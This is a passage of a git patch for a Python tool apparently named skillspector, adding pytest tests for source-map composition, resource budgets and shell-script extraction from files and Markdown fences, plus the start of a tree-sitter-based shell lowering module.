provenance=api.SiteProvenance.FILE_SUFFIX, + raw_bytes=b"x", + origin_span=api.SourceSpan( + "setup", + 0, + 1, + 1, + 1, + start_column=0, + end_column=1, + ), + ) + + +def test_static_values_enforce_exact_unknown_and_unbound_states() -> None: + api = _api() + + assert api.StaticValue.exact(b"literal").state is api.StaticValueState.EXACT + assert api.StaticValue.unknown().state is api.StaticValueState.UNKNOWN + assert api.StaticValue.unbound().state is api.StaticValueState.UNBOUND + with pytest.raises(ValueError): + api.StaticValue(state=api.StaticValueState.UNKNOWN, exact_bytes=b"leak") + with pytest.raises(ValueError): + api.StaticValue(state=api.StaticValueState.EXACT, exact_bytes=None) + + +def test_source_map_maps_affine_ranges_and_refuses_gaps_or_non_affine_spans() -> None: + api = _api() + affine = api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(0, 4, 10, 14)], + child_size_bytes=4, + physical_size_bytes=30, + physical_line_starts=(0, 10), + ) + mapped = affine.map_range(1, 3) + + assert mapped == api.SourceSpan( + "docs/guide.md", + 11, + 13, + 2, + 2, + start_column=1, + end_column=3, + ) + + non_affine = api.SourceMap( + path="docs/guide.md", + entries=[ + api.SourceMapEntry(0, 2, 10, 12), + api.SourceMapEntry(2, 4, 20, 22), + ], + child_size_bytes=4, + physical_size_bytes=30, + physical_line_starts=(0, 10, 20), + ) + assert non_affine.map_range(0, 1).start_byte == 10 + assert non_affine.map_range(0, 4) is None + assert non_affine.map_range(4, 5) is None + + +@pytest.mark.parametrize( + ("raw", "line_starts"), + [ + ("é\n".encode(), (0, 3)), + ("é\r\n".encode(), (0, 4)), + ("é\r".encode(), (0, 3)), + ], +) +def test_source_map_uses_inclusive_end_lines_at_physical_line_boundaries( + raw: bytes, + line_starts: tuple[int, ...], +) -> None: + api = _api() + source_map = api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(0, len(raw), 0, len(raw))], + child_size_bytes=len(raw), + physical_size_bytes=len(raw), + physical_line_starts=line_starts, + ) + + assert source_map.map_range(0, len(raw)) == api.SourceSpan( + "docs/guide.md", + 0, + len(raw), + 1, + 1, + start_column=0, + end_column=len(raw), + ) + + +def test_source_map_preserves_multibyte_columns_after_an_empty_final_line_boundary() -> None: + api = _api() + raw = "x\né".encode() + source_map = api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(0, len(raw), 0, len(raw))], + child_size_bytes=len(raw), + physical_size_bytes=len(raw), + physical_line_starts=(0, 2), + ) + + assert source_map.map_range(2, 4) == api.SourceSpan( + "docs/guide.md", + 2, + 4, + 2, + 2, + start_column=0, + end_column=2, + ) + + +@pytest.mark.parametrize( + "entries", + [ + [(0, 2, 10, 11)], + [(0, 2, 10, 12), (1, 3, 20, 22)], + [(2, 4, 10, 12), (0, 2, 20, 22)], + ], +) +def test_source_map_rejects_non_affine_or_ambiguous_entries( + entries: list[tuple[int, int, int, int]], +) -> None: + api = _api() + + with pytest.raises(ValueError): + api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(*entry) for entry in entries], + child_size_bytes=4, + physical_size_bytes=30, + physical_line_starts=(0, 10, 20), + ) + + +def test_source_map_constructor_enforces_entry_and_canonical_domain_bounds() -> None: + api = _api() + entry = api.SourceMapEntry(0, 1, 0, 1) + + with pytest.raises(ValueError, match="entry limit"): + api.SourceMap( + path="docs/guide.md", + entries=[entry] * 50_001, + child_size_bytes=1, + physical_size_bytes=1, + physical_line_starts=(0,), + ) + with pytest.raises(ValueError, match="canonical byte domain"): + api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(0, 1, 10, 11)], + child_size_bytes=1, + physical_size_bytes=10, + physical_line_starts=(0,), + ) + + +def test_source_map_composition_is_exact_and_fails_closed_across_parent_gaps() -> None: + api = _api() + child = api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(0, 4, 2, 6)], + child_size_bytes=4, + physical_size_bytes=6, + physical_line_starts=(0,), + ) + parent = api.SourceMap( + path="docs/guide.md", + entries=[api.SourceMapEntry(2, 6, 20, 24)], + child_size_bytes=6, + physical_size_bytes=30, + physical_line_starts=(0, 20), + ) + + composed = child.compose(parent) + + assert composed.entries == (api.SourceMapEntry(0, 4, 20, 24),) + assert composed.map_range(1, 3).start_byte == 21 + + gapped_parent = api.SourceMap( + path="docs/guide.md", + entries=[ + api.SourceMapEntry(2, 3, 20, 21), + api.SourceMapEntry(4, 6, 22, 24), + ], + child_size_bytes=6, + physical_size_bytes=30, + physical_line_starts=(0, 20), + ) + with pytest.raises(ValueError, match="unmapped"): + child.compose(gapped_parent) + + +@pytest.mark.timeout(10) +def test_source_map_lookup_and_composition_remain_bounded_at_the_50k_entry_limit() -> None: + api = _api() + entry_count = 50_000 + child = api.SourceMap( + path="docs/large.md", + entries=[ + api.SourceMapEntry(index * 2, index * 2 + 1, index * 2, index * 2 + 1) + for index in range(entry_count) + ], + child_size_bytes=entry_count * 2 - 1, + physical_size_bytes=entry_count * 2 - 1, + physical_line_starts=(0,), + ) + parent = api.SourceMap( + path="docs/large.md", + entries=[ + api.SourceMapEntry(index * 2, index * 2 + 1, index * 3, index * 3 + 1) + for index in range(entry_count) + ], + child_size_bytes=entry_count * 2 - 1, + physical_size_bytes=entry_count * 3 - 2, + physical_line_starts=(0,), + ) + + composed = child.compose(parent) + mapped_offsets = [ + composed.map_range(index * 2, index * 2 + 1).start_byte + for _repeat in range(5) + for index in range(entry_count) + ] + + assert len(composed.entries) == entry_count + assert mapped_offsets[0] == 0 + assert mapped_offsets[-1] == (entry_count - 1) * 3 + + +def test_analysis_retains_only_sanitized_shell_work_and_issues() -> None: + api = _api() + unit = _shell_unit(api, raw=b"private-value") + work = api.ShellWorkItem( + unit_id=unit.unit_id, + dialect=unit.dialect, + kind=unit.kind, + provenance=unit.provenance, + span=unit.origin_span, + outcome=api.ShellWorkOutcome.COMPLETED, + ) + issue = api.ShellIssue( + unit_id=unit.unit_id, + reason=api.ShellIssueReason.UNSUPPORTED_SEMANTICS, + outcome=api.ShellWorkOutcome.PARTIAL, + span=unit.origin_span, + ) + + analysis = api.DependencySourceAnalysis(shell_work_items=[work], shell_issues=[issue]) + + assert analysis.shell_work_items == (work,) + assert analysis.shell_issues == (issue,) + assert "private-value" not in repr(analysis) + with pytest.raises(TypeError): + api.DependencySourceAnalysis(shell_units=[unit]) + + def test_source_change_accepts_only_redacted_resolved_destinations() -> None: api = _api() raw_secret = "change-secret-4f387" @@ -599,16 +1015,18 @@ def test_failed_scan_charge_does_not_mutate_target_or_related_counters() -> None first = budget.for_file("first.conf") second = budget.for_file("second.conf") assert first.charge_emitted_changes(10_000) is None - before = { - resource: budget.used(resource) - for resource in api.DependencyWorkResource - if resource - not in { - api.DependencyWorkResource.PHYSICAL_BYTES, - api.DependencyWorkResource.YAML_ALIASES, - api.DependencyWorkResource.DEPTH, - } - } + scan_resources = ( + api.DependencyWorkResource.CONFIG_NODES, + api.DependencyWorkResource.RETAINED_LITERAL_BYTES, + api.DependencyWorkResource.SOURCE_RECORDS, + api.DependencyWorkResource.EMITTED_CHANGES, + api.DependencyWorkResource.FINDING_OUTPUT_RECORDS, + api.DependencyWorkResource.LEDGER_EVENTS, + api.DependencyWorkResource.SHELL_PARSED_BYTES, + api.DependencyWorkResource.RETAINED_SHELL_IR, + api.DependencyWorkResource.SHELL_LOCALIZED_ISSUES, + ) + before = {resource: budget.used(resource) for resource in scan_resources} exhaustion = second.charge_emitted_changes(1) @@ -789,3 +1207,223 @@ def test_file_charges_reject_negative_and_boolean_counts( with pytest.raises(ValueError): getattr(file_budget, method_name)(invalid) + + +@pytest.mark.parametrize( + ("method_name", "resource", "limit"), + [ + ("charge_shell_units", "shell_units", 256), + ("charge_source_map_entries", "shell_source_map_entries", 50_000), + ], +) +def test_shell_file_counters_accept_exact_limit_and_reject_one_over( + method_name: str, + resource: str, + limit: int, +) -> None: + api = _api() + file_budget = api.DependencyWorkBudget().for_file("scripts/setup.sh") + charge: Callable[[int], Any] = getattr(file_budget, method_name) + + assert charge(limit) is None + exhaustion = charge(1) + + assert exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource(resource), limit + 1, limit + ) + assert file_budget.used(api.DependencyWorkResource(resource)) == limit + + +def test_shell_parse_reservation_atomically_charges_calls_file_revisits_and_scan_bytes() -> None: + api = _api() + budget = api.DependencyWorkBudget() + file_budget = budget.for_file("scripts/setup.sh") + file_budget.register_shell_file_size(4) + + assert file_budget.reserve_shell_parse(4) is None + assert file_budget.reserve_shell_parse(4) is None + before = { + "calls": file_budget.used(api.DependencyWorkResource.SHELL_PARSER_CALLS), + "file_bytes": file_budget.used(api.DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES), + "scan_bytes": budget.used(api.DependencyWorkResource.SHELL_PARSED_BYTES), + } + + exhaustion = file_budget.reserve_shell_parse(1) + + assert exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES, 9, 8 + ) + assert { + "calls": file_budget.used(api.DependencyWorkResource.SHELL_PARSER_CALLS), + "file_bytes": file_budget.used(api.DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES), + "scan_bytes": budget.used(api.DependencyWorkResource.SHELL_PARSED_BYTES), + } == before + + +def test_shell_parser_call_limit_is_persistent_for_zero_byte_units() -> None: + api = _api() + file_budget = api.DependencyWorkBudget().for_file("scripts/empty.sh") + file_budget.register_shell_file_size(0) + + for _ in range(512): + assert file_budget.reserve_shell_parse(0) is None + exhaustion = file_budget.reserve_shell_parse(0) + + assert exhaustion.resource is api.DependencyWorkResource.SHELL_PARSER_CALLS + assert (exhaustion.observed, exhaustion.limit) == (513, 512) + assert file_budget.used(api.DependencyWorkResource.SHELL_PARSER_CALLS) == 512 + + +def test_scan_parsed_byte_limit_is_shared_across_files_without_mutating_denied_file() -> None: + api = _api() + budget = api.DependencyWorkBudget() + for index in range(3): + file_budget = budget.for_file(f"scripts/{index}.sh") + file_budget.register_shell_file_size(1_000_000) + assert file_budget.reserve_shell_parse(1_000_000) is None + assert file_budget.reserve_shell_parse(1_000_000) is None + + denied = budget.for_file("scripts/denied.sh") + denied.register_shell_file_size(1) + exhaustion = denied.reserve_shell_parse(1) + + assert exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource.SHELL_PARSED_BYTES, + 6_000_001, + 6_000_000, + ) + assert denied.used(api.DependencyWorkResource.SHELL_PARSER_CALLS) == 0 + assert denied.used(api.DependencyWorkResource.SHELL_PARSED_REVISIT_BYTES) == 0 + + +def test_shell_cst_visits_and_nested_depth_persist_by_path_and_opaque_unit_id() -> None: + api = _api() + budget = api.DependencyWorkBudget() + unit = _shell_unit(api, raw=b"abcd") + file_budget = budget.for_file(unit.origin_span.path) + visit_limit = 12 * len(unit.raw_bytes) + 1_024 + + assert file_budget.charge_shell_cst_visits(unit, visit_limit) is None + visit_exhaustion = budget.for_file("scripts/setup.sh").charge_shell_cst_visits(unit, 1) + assert visit_exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource.SHELL_CST_VISITS, + visit_limit + 1, + visit_limit, + ) + assert file_budget.observe_shell_nested_depth(unit, 2) is None + depth_exhaustion = file_budget.observe_shell_nested_depth(unit, 3) + assert depth_exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource.SHELL_NESTED_DEPTH, + 3, + 2, + ) + + +def test_retained_shell_ir_is_scan_wide_and_keeps_per_unit_accounting() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = _shell_unit(api, path="scripts/first.sh") + second = _shell_unit(api, path="scripts/second.sh") + + assert budget.for_file(first.origin_span.path).charge_retained_shell_ir(first, 30_000) is None + assert budget.for_file(second.origin_span.path).charge_retained_shell_ir(second, 20_000) is None + exhaustion = budget.for_file(first.origin_span.path).charge_retained_shell_ir(first, 1) + + assert exhaustion.resource is api.DependencyWorkResource.RETAINED_SHELL_IR + assert budget.used(api.DependencyWorkResource.RETAINED_SHELL_IR) == 50_000 + assert ( + budget.for_file(first.origin_span.path).used_for_unit( + first, api.DependencyWorkResource.RETAINED_SHELL_IR + ) + == 30_000 + ) + + +def test_shell_value_bytes_charge_global_and_file_limits_atomically() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = budget.for_file("scripts/first.sh") + second = budget.for_file("scripts/second.sh") + + assert first.reserve_shell_value_bytes(1_999_999) is None + assert second.reserve_shell_value_bytes(1) is None + before = { + "global": budget.used(api.DependencyWorkResource.RETAINED_LITERAL_BYTES), + "file": second.used(api.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES), + } + exhaustion = second.reserve_shell_value_bytes(1) + + assert exhaustion.resource is api.DependencyWorkResource.RETAINED_LITERAL_BYTES + assert { + "global": budget.used(api.DependencyWorkResource.RETAINED_LITERAL_BYTES), + "file": second.used(api.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES), + } == before + + +def test_shell_value_file_limit_is_independently_typed_and_atomic() -> None: + api = _api() + budget = api.DependencyWorkBudget() + file_budget = budget.for_file("scripts/setup.sh") + + assert file_budget.reserve_shell_value_bytes(2_000_000) is None + before = { + "global": budget.used(api.DependencyWorkResource.RETAINED_LITERAL_BYTES), + "file": file_budget.used(api.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES), + } + exhaustion = file_budget.reserve_shell_value_bytes(1) + + assert exhaustion.resource is api.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES + assert { + "global": budget.used(api.DependencyWorkResource.RETAINED_LITERAL_BYTES), + "file": file_budget.used(api.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES), + } == before + + +def test_shell_issue_budget_reserves_exactly_one_truncation_issue() -> None: + api = _api() + budget = api.DependencyWorkBudget() + + assert budget.charge_shell_issues(9_999) is None + exhaustion = budget.charge_shell_issues(1) + + assert exhaustion.resource is api.DependencyWorkResource.SHELL_LOCALIZED_ISSUES + assert budget.used(api.DependencyWorkResource.SHELL_LOCALIZED_ISSUES) == 9_999 + assert budget.claim_reserved_shell_truncation_issue() is api.ShellTruncationClaimStatus.CLAIMED + assert budget.used(api.DependencyWorkResource.SHELL_LOCALIZED_ISSUES) == 10_000 + assert ( + budget.claim_reserved_shell_truncation_issue() + is api.ShellTruncationClaimStatus.ALREADY_CLAIMED + ) + one_over = budget.charge_shell_issues(1) + assert one_over == api.DependencyWorkExhaustion( + api.DependencyWorkResource.SHELL_LOCALIZED_ISSUES, + 10_001, + 10_000, + ) + + +def test_shell_only_charges_do_not_mutate_pr1_config_output_or_ledger_counters() -> None: + api = _api() + budget = api.DependencyWorkBudget() + before = { + resource: budget.used(resource) + for resource in ( + api.DependencyWorkResource.CONFIG_NODES, + api.DependencyWorkResource.SOURCE_RECORDS, + api.DependencyWorkResource.EMITTED_CHANGES, + api.DependencyWorkResource.FINDING_OUTPUT_RECORDS, + api.DependencyWorkResource.LEDGER_EVENTS, + ) + } + unit = _shell_unit(api) + file_budget = budget.for_file(unit.origin_span.path) + file_budget.register_shell_file_size(1) + + assert file_budget.charge_shell_units(1) is None + assert file_budget.reserve_shell_parse(1) is None + assert file_budget.charge_shell_cst_visits(unit, 1) is None + assert file_budget.charge_source_map_entries(1) is None + assert file_budget.charge_retained_shell_ir(unit, 1) is None + assert budget.charge_shell_issues(1) is None + + assert {resource: budget.used(resource) for resource in before} == before diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index b032787f..dcb011de 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -6,10 +6,13 @@ from __future__ import annotations import os +from collections.abc import Iterable, Iterator from typing import Any import pytest +import skillspector.dependency_source_types as dependency_types +import skillspector.shell_frontend as shell_frontend from skillspector.artifacts import classify_artifact from skillspector.dependency_source_types import ( DependencySourceLimitationReason, @@ -18,6 +21,42 @@ from skillspector.dependency_sources import analyze_dependency_sources +def _extract( + path: str, + raw: bytes, + *, + executable_paths: frozenset[str] = frozenset(), + budget: DependencyWorkBudget | None = None, +) -> Any: + return shell_frontend.extract_shell_units( + path, + raw, + executable_paths=executable_paths, + budget=budget or DependencyWorkBudget(), + ) + + +class _ObservedExecutablePaths(frozenset[str]): + """Immutable inventory that records accidental whole-set iteration.""" + + iteration_count: int + membership_count: int + + def __new__(cls, values: Iterable[str]) -> _ObservedExecutablePaths: + instance = super().__new__(cls, values) + instance.iteration_count = 0 + instance.membership_count = 0 + return instance + + def __iter__(self) -> Iterator[str]: + self.iteration_count += 1 + return super().__iter__() + + def __contains__(self, value: object) -> bool: + self.membership_count += 1 + return super().__contains__(value) + + def _gap_marks(case: dict[str, Any]) -> list[pytest.MarkDecorator]: marks = [pytest.mark.sc10_pr2] if case["status"] != "fixed" and os.getenv("SKILLSPECTOR_SC10_GAPS") != "enforce": @@ -83,3 +122,340 @@ def test_unsupported_shell_semantics_are_localized_limitations(case: dict[str, A for limitation in analysis.limitations ] == [(DependencySourceLimitationReason.PARSE_INCOMPLETE, path, 2, 2)] assert case["status"] == "fixed", "unimplemented shell contracts remain explicit red gates" + + +@pytest.mark.parametrize( + ("path", "raw", "executable_paths", "dialect", "provenance"), + [ + ( + "scripts/setup.bash", + b"printf ok\n", + frozenset(), + "bash", + "file_suffix", + ), + ( + "scripts/setup.sh", + b"printf ok\n", + frozenset(), + "sh", + "file_suffix", + ), + ( + "scripts/setup.txt", + b"#!/usr/bin/env dash\nprintf ok\n", + frozenset(), + "dash", + "shebang", + ), + ( + "bundle.zip!/bin/setup", + b"#!/bin/bash\nprintf ok\n", + frozenset({"bundle.zip!/bin/setup"}), + "bash", + "shebang", + ), + ( + "bin/setup", + b"#!/usr/bin/env -S bash -eu\nprintf ok\n", + frozenset({"bin/setup"}), + "bash", + "shebang", + ), + ], +) +def test_standalone_unit_extraction_uses_only_supported_suffixes_and_shebangs( + path: str, + raw: bytes, + executable_paths: frozenset[str], + dialect: str, + provenance: str, +) -> None: + result = _extract(path, raw, executable_paths=executable_paths) + + assert len(result.units) == 1 + unit = result.units[0] + assert unit.raw_bytes == raw + assert unit.dialect.value == dialect + assert unit.kind is dependency_types.ShellUnitKind.STANDALONE + assert unit.provenance.value == provenance + last_line_start = raw.rfind(b"\n", 0, max(0, len(raw) - 1)) + 1 + assert unit.origin_span == dependency_types.SourceSpan( + path, + 0, + len(raw), + 1, + max(1, raw.count(b"\n") + (0 if raw.endswith(b"\n") else 1)), + start_column=0, + end_column=len(raw) - last_line_start, + ) + assert result.issues == () + + +def test_executable_only_without_supported_dialect_is_applicable_but_not_bash() -> None: + path = "bundle.zip!/bin/setup" + result = _extract( + path, + b"printf ok\n", + executable_paths=frozenset({path}), + ) + + assert result.units == () + assert [(issue.reason, issue.outcome, issue.span.path) for issue in result.issues] == [ + ( + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS, + dependency_types.ShellWorkOutcome.PARTIAL, + path, + ) + ] + + +@pytest.mark.parametrize( + ("path", "raw"), + [ + ("setup.zsh", b"printf ok\n"), + ("setup.envrc", b"printf ok\n"), + ("setup.ksh", b"printf ok\n"), + ("Dockerfile", b"FROM scratch\nRUN printf ok\n"), + ("build/Makefile", b"all:\n\tprintf ok\n"), + ], +) +def test_out_of_gate_executable_dialects_remain_typed_limitations( + path: str, + raw: bytes, +) -> None: + result = _extract(path, raw) + + assert result.units == () + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize( + ("path", "raw"), + [ + ("Dockerfile", b"FROM scratch\nCOPY . /src\n"), + ("build/Makefile", b"all: generated.txt\n"), + ], +) +def test_out_of_gate_container_and_make_files_without_executable_units_are_inert( + path: str, + raw: bytes, +) -> None: + result = _extract(path, raw) + + assert result.units == () + assert result.issues == () + + +def test_markdown_fences_honor_delimiter_length_indentation_and_info_token() -> None: + raw = ( + b"heading\n" + b" ````BASH linenums\r\n" + b"printf first\r\n" + b"```\r\n" + b" ````\r\n" + b"~~~shell-script\n" + b"printf second\n" + b"~~~~\n" + b"```console\n" + b"printf third\n" + b"```\n" + ) + + result = _extract("docs/guide.md", raw) + + assert [unit.raw_bytes for unit in result.units] == [ + b"printf first\r\n```\r\n", + b"printf second\n", + b"printf third\n", + ] + assert [unit.dialect for unit in result.units] == [ + dependency_types.ShellDialect.BASH, + dependency_types.ShellDialect.SH, + dependency_types.ShellDialect.SH, + ] + assert all( + unit.provenance is dependency_types.SiteProvenance.MARKDOWN_FENCE for unit in result.units + ) + assert result.issues == () + + +def test_markdown_fence_map_preserves_multibyte_crlf_physical_byte_columns() -> None: + raw = "intro\r\n```bash\r\né npm\r\n```\r\n".encode() + result = _extract("docs/guide.md", raw) + unit = result.units[0] + command_start = unit.raw_bytes.index(b"npm") + + mapped = unit.source_map.map_range(command_start, command_start + 3) + + physical_start = raw.index(b"npm") + assert mapped == dependency_types.SourceSpan( + "docs/guide.md", + physical_start, + physical_start + 3, + 3, + 3, + start_column=3, + end_column=6, + ) + assert len(unit.source_map.entries) == 1 + + +def test_repeated_extraction_produces_equal_opaque_unit_identities() -> None: + raw = b"```bash\nprintf ok\n```\n" + + first = _extract("docs/guide.md", raw) + second = _extract("docs/guide.md", raw) + + assert [unit.unit_id for unit in first.units] == [unit.unit_id for unit in second.units] + + +def test_markdown_does_not_infer_shell_inside_untagged_indented_or_non_shell_fences() -> None: + raw = ( + b"````python\n" + b"```bash\n" + b"printf hidden\n" + b"```\n" + b"````\n" + b" ```bash\n" + b" printf indented\n" + b" ```\n" + b"```text\n" + b"printf text\n" + b"```\n" + b"```\n" + b"#!/bin/bash\n" + b"printf untagged\n" + b"```\n" + ) + + result = _extract("docs/guide.md", raw) + + assert result.units == () + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_unclosed_relevant_markdown_fence_is_bounded_and_localized() -> None: + raw = b"before\n~~~Sh\nprintf ok\n" + + result = _extract("docs/guide.md", raw) + + assert [unit.raw_bytes for unit in result.units] == [b"printf ok\n"] + assert [ + (issue.reason, issue.span.start_line, issue.span.end_line) for issue in result.issues + ] == [(dependency_types.ShellIssueReason.SYNTAX_ERROR, 2, 3)] + + +def test_invalid_utf8_in_relevant_shell_input_yields_only_a_sanitized_typed_issue() -> None: + raw = b"#!/bin/bash\nprintf token-51e2\xff\n" + + result = _extract("scripts/setup", raw, executable_paths=frozenset({"scripts/setup"})) + + assert result.units == () + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.SYNTAX_ERROR + ] + assert "token-51e2" not in repr(result) + + +def test_malformed_markdown_units_consume_capacity_before_the_limit_issue() -> None: + raw = b"".join(b"```bash\n\xff\n```\n" for _ in range(257)) + budget = DependencyWorkBudget() + + result = _extract("docs/malformed.md", raw, budget=budget) + + assert result.units == () + assert [issue.reason for issue in result.issues[:256]] == [ + dependency_types.ShellIssueReason.SYNTAX_ERROR + ] * 256 + assert result.issues[256].reason is dependency_types.ShellIssueReason.RESOURCE_LIMIT + assert result.issues[256].outcome is dependency_types.ShellWorkOutcome.PARTIAL + assert result.issues[256].exhaustion == dependency_types.DependencyWorkExhaustion( + dependency_types.DependencyWorkResource.SHELL_UNITS, + 257, + 256, + ) + assert ( + budget.for_file("docs/malformed.md").used( + dependency_types.DependencyWorkResource.SHELL_UNITS + ) + == 256 + ) + + +@pytest.mark.parametrize( + "raw", + [b"printf a\x00b\n", b"printf first\rprintf second\fvalue"], +) +def test_nul_form_feed_and_lone_cr_are_preserved_without_invented_line_boundaries( + raw: bytes, +) -> None: + result = _extract("scripts/setup.sh", raw) + + assert [unit.raw_bytes for unit in result.units] == [raw] + assert result.issues == () + + +def test_shell_unit_limit_retains_exact_capacity_and_one_resource_issue() -> None: + raw = b"".join(b"```bash\nprintf ok\n```\n" for _ in range(257)) + budget = DependencyWorkBudget() + + result = _extract("docs/many.md", raw, budget=budget) + + assert len(result.units) == 256 + assert [issue.reason for issue in result.issues] == [ + dependency_types.ShellIssueReason.RESOURCE_LIMIT + ] + assert ( + budget.for_file("docs/many.md").used(dependency_types.DependencyWorkResource.SHELL_UNITS) + == 256 + ) + + +def test_extraction_requires_normalized_paths_immutable_inventory_and_canonical_bytes() -> None: + with pytest.raises(ValueError): + _extract("./scripts/setup.sh", b"printf ok\n") + with pytest.raises(ValueError): + shell_frontend.extract_shell_units( + "scripts/setup.sh", + b"printf ok\n", + executable_paths={"scripts/setup.sh"}, + budget=DependencyWorkBudget(), + ) + with pytest.raises(TypeError): + shell_frontend.extract_shell_units( + "scripts/setup.sh", + bytearray(b"printf ok\n"), + executable_paths=frozenset(), + budget=DependencyWorkBudget(), + ) + + +def test_extraction_uses_large_normalized_executable_inventory_without_iteration() -> None: + executable_path = "bundle.zip!/bin/setup" + executable_paths = _ObservedExecutablePaths( + executable_path if index == 0 else f"bin/tool-{index}" for index in range(50_000) + ) + + applicable = _extract( + executable_path, + b"printf ok\n", + executable_paths=executable_paths, + ) + inert = _extract( + "docs/readme.txt", + b"plain text\n", + executable_paths=executable_paths, + ) + + assert [issue.reason for issue in applicable.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + assert inert.units == () + assert inert.issues == () + assert executable_paths.iteration_count == 0 + assert executable_paths.membership_count == 2 From aea3eda2cc58076c3ef9cc504e15d5b81b0d6cac Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Tue, 25 Aug 2026 00:22:09 -0700 Subject: [PATCH 04/13] feat(sc10): lower shell command sites Signed-off-by: Nir Paz --- src/skillspector/shell_frontend.py | 1742 +++++++++++++++++++++++++++- tests/unit/test_shell_frontend.py | 924 +++++++++++++++ 2 files changed, 2661 insertions(+), 5 deletions(-) diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index 5ef42c34..d8dc063d 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -1,16 +1,16 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Exact-pinned parser boundary and bounded shell-unit extraction. +"""Exact-pinned extraction, parser boundary, and syntax-only shell lowering. -This module intentionally contains no shell lowering or package-manager policy. +This module intentionally contains no package-manager policy or shell state. """ from __future__ import annotations -from bisect import bisect_right +from bisect import bisect_left, bisect_right from collections.abc import Callable -from dataclasses import dataclass +from dataclasses import dataclass, field, replace from enum import StrEnum from functools import cache from importlib import import_module @@ -20,28 +20,38 @@ from warnings import catch_warnings, filterwarnings from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_FILE_BYTES, + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES, + MAX_DEPENDENCY_RETAINED_SHELL_IR, MAX_DEPENDENCY_SHELL_UNITS_PER_FILE, + MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE, MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, + AssignmentSite, + CommandSite, DependencyFileBudget, DependencyWorkBudget, DependencyWorkExhaustion, DependencyWorkResource, ShellDialect, ShellExtractionResult, + ShellFrontendResult, ShellIssue, ShellIssueReason, ShellTruncationClaimStatus, ShellUnit, ShellUnitKind, + ShellWorkItem, ShellWorkOutcome, SiteProvenance, SourceMap, SourceMapEntry, SourceSpan, + StaticValue, + StaticValueState, ) if TYPE_CHECKING: - from tree_sitter import Language, Parser, Tree + from tree_sitter import Language, Node, Parser, Tree EXPECTED_BASH_ABI_VERSION: Final = 15 EXPECTED_BASH_SEMANTIC_VERSION: Final = (0, 25, 1) @@ -661,3 +671,1725 @@ def deadline_expired() -> bool: if tree is None: raise _unavailable_error(meaningful_work=meaningful_work) return tree + + +class _ExecutionRegionKind(StrEnum): + """Code-owned structural regions retained for later same-parse analysis.""" + + PROGRAM = "program" + LIST = "list" + PIPELINE = "pipeline" + IF = "if" + ELIF = "elif" + ELSE = "else" + FOR = "for" + C_STYLE_FOR = "c_style_for" + WHILE = "while" + UNTIL = "until" + DO = "do" + CASE = "case" + CASE_ITEM = "case_item" + FUNCTION = "function" + COMPOUND = "compound" + SUBSHELL = "subshell" + COMMAND_SUBSTITUTION = "command_substitution" + PROCESS_SUBSTITUTION = "process_substitution" + NEGATION = "negation" + REDIRECTED = "redirected" + + +class _RedirectKind(StrEnum): + """Narrow syntax-proven redirect facts; deliberately not an FD model.""" + + STDOUT_TRUNCATE = "stdout_truncate" + STDOUT_CLOBBER = "stdout_clobber" + STDOUT_APPEND = "stdout_append" + STDOUT_STDERR_TRUNCATE = "stdout_stderr_truncate" + + +_REGION_NODE_TYPES: Final[dict[str, _ExecutionRegionKind]] = { + "program": _ExecutionRegionKind.PROGRAM, + "list": _ExecutionRegionKind.LIST, + "pipeline": _ExecutionRegionKind.PIPELINE, + "if_statement": _ExecutionRegionKind.IF, + "elif_clause": _ExecutionRegionKind.ELIF, + "else_clause": _ExecutionRegionKind.ELSE, + "for_statement": _ExecutionRegionKind.FOR, + "c_style_for_statement": _ExecutionRegionKind.C_STYLE_FOR, + "while_statement": _ExecutionRegionKind.WHILE, + "until_statement": _ExecutionRegionKind.UNTIL, + "do_group": _ExecutionRegionKind.DO, + "case_statement": _ExecutionRegionKind.CASE, + "case_item": _ExecutionRegionKind.CASE_ITEM, + "function_definition": _ExecutionRegionKind.FUNCTION, + "compound_statement": _ExecutionRegionKind.COMPOUND, + "subshell": _ExecutionRegionKind.SUBSHELL, + "command_substitution": _ExecutionRegionKind.COMMAND_SUBSTITUTION, + "process_substitution": _ExecutionRegionKind.PROCESS_SUBSTITUTION, + "negated_command": _ExecutionRegionKind.NEGATION, + "redirected_statement": _ExecutionRegionKind.REDIRECTED, +} +_SUBSTITUTION_NODE_TYPES: Final = 